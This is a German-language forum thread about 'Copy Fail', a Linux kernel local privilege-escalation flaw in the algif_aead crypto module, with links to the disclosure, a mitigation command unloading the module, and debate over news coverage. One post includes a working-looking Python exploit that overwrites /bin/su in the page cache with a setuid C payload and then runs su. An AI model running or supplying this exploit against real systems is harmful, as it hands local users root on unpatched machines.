copy.fail: Bug (in allen Linux Distros) erlaubt lokalen Nutzern root zu werden

ascer

Captain
Registriert
Juni 2008
Beiträge
3.883
Aus gegebenem Anlass:
https://copy.fail

Most Linux LPEs need a race window or a kernel-specific offset.
Copy Fail is a straight-line logic flaw — it needs neither.
The same 732-byte Python script roots every Linux distribution shipped since 2017.

Server, auf denen sich ausschließlich Admins tümmeln und wo auch keine CI-Pipelines und Dergleichen laufen, sind erstmal weniger problematisch...aber überall wo potentiall Skripte automatisiert laufen, die darauf zugreifen könnten oder auch wo diverse normale Nutzer auf einen Server Zugriff haben, sind höchst gefährdet.

Heise hatte auch berichtet:
https://www.heise.de/en/news/Copy-F...utions-with-732-bytes-of-Python-11277657.html

@Kaito Kariheddo
@Steffen
Wäre das nicht eine "Eilmeldung" wert?
 
  • Gefällt mir
Reaktionen: Sensei21
Und ist im Kernel schon gepatcht.

Zitat von Heise:
Einen Fix für den Kernel-Quellcode stellen die IT-Forscher ebenfalls bereit. Aktualisierte Kernel sollten inzwischen die größeren Distributionen bereitstellen.
Kann man ja weglassen.
 
Zuletzt bearbeitet:
Ja, musste heute früh algif_aead auf allen Linuxrechnern aus dem Kernel werfen. Exploit hatte "funktioniert", Ubuntu hatte bis Mittag jedenfalls nichts bereitgestellt.

sudo modprobe -r algif_aead

Der oben genannte Exploit schreibt ein neues mini-ELF-binary an die Stelle im Page-Cache, in das z.B. su geladen wurde, dieses wird dann ausgeführt wenn der Nutzer su eingibt.

Dieses "732 byte"-Dingens erzeugt ein ELF-Program "mit Hand" in diesem String, welches 3 Syscalls implementiert:
  • setgid(0): group ID zu root.
  • setuid(0): user ID zu root (physical file /bin/su, hat SUID bit gesetzt).
  • execve("/bin/sh", ...): ersetzt aktuellen Prozess mit einer normalen Shell.

Du kannst aber auch irgend ein kleines C-Programm kompilieren und da rein laden.
C:
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    system("id");
}

und dann das a.out in Dein Python-Skript laden:
Python:
import os, socket
from socket import *

def patch(target, offset, word):
    s = socket(AF_ALG, SOCK_SEQPACKET, 0)
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(SOL_ALG, ALG_SET_KEY, b'\x08\x00\x01\x00\x00\x00\x00\x10' + b'\x00'*32)
    s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
    u, _ = s.accept()
    u.sendmsg([b'A'*4+word],
              [(SOL_ALG, 3, b'\x00\x00\x00\x00'),
               (SOL_ALG, 2, b'\x10'+b'\x00'*19),
               (SOL_ALG, 4, b'\x08\x00\x00\x00')],
              32768)
    r,w = os.pipe()
    os.splice(target, w, offset+4, offset_src=0)
    os.splice(r, u.fileno(), offset+4)
    try: u.recv(8+offset)
    except: 0
    s.close(); u.close()
    close(r);  close(w)

target = os.open("/bin/su",0)
source = open("a.out", "rb").read()
i = 0
while i < len(source):
    patch(target, i, source[i:i+4])
    i += 4
os.system("su")

oder so ähnlich.
 
Zuletzt bearbeitet:
  • Gefällt mir
Reaktionen: iron_monkey, dafReak, andy_m4 und eine weitere Person
Zer0DEV schrieb:
Nein, denn außer "mit Windows wäre das nicht passiert" gäbe es da nichts relevantes zu kommentieren...
Du glaubst also nicht, dass Interessierte darüber gerne Berichterstattung lesen und entsprechend diskturieren möchten?
Oder das vielleicht auch noch nicht jeder darüber Bescheid wusste?

Das hier...
blöderidiot schrieb:
Ja, musste heute früh algif_aead auf allen Linuxrechnern aus dem Kernel werfen. Exploit hatte "funktioniert", Ubuntu hatte bis Mittag jedenfalls nichts bereitgestellt.
...dürfte wohl vielen passiert sein.
 
@ascer Nein, das tue ich nicht...
Es gibt aber tausende Seiten (weltweit) die darüber berichten. Im deutschsprachigen Raum z.B. Heise und Golem. Die Linux-Community ist vermutlich bereits bestens informiert. Ich kann mir ehrlich gesagt nicht vorstellen das hier auf Computerbase sich Linux-User rumtreiben, die sicht nur hier informieren!

Ob man hier bei CB darüber berichtet oder nicht, entscheidet letztlich CB.
Wenn hier über jede Sicherheitslücke, unabhängig ob sie gravierend oder marginal ist, egal ob Linux, Windows oder Schlangenölprodukte, berichtet wird, dann bleibt keine Zeit mehr für andere News...

Letztlich kann man sich auch noch 1-2 Tage Zeit lassen um dann die letzten abzuholen.
Wenn alle am selben Tag berichtet, hats der letzte mitunter auch dann verpasst.
 
  • Gefällt mir
Reaktionen: netzgestaltung
Zer0DEV schrieb:
Ich kann mir ehrlich gesagt nicht vorstellen das hier auf Computerbase sich Linux-User rumtreiben, die sicht nur hier informieren!
Ich schon. Ich beschränke die Anzahl der Seiten, die ich im Netz besuche. Es nimmt mir sonst zu viel Zeit und Nerven in Anspruch.
 
  • Gefällt mir
Reaktionen: iron_monkey
Ich hab auch nix mitbekommen. Besteht bzgl meines Linux Mint auf der externen SSD nun handlungsbedarf? Kernel updaten odet so!?

Ich versuch auch die anzahl an Seiten stark zu begrenzen. Hier und da verpadst man dann auch relevates. Aber wie sich ja wieder gezeigt fat foäinden einen die Infos so oder so wenn es einen wirklich betrifft.
 
Zuletzt bearbeitet:
  • Gefällt mir
Reaktionen: samuelclemens
Zurück
Oben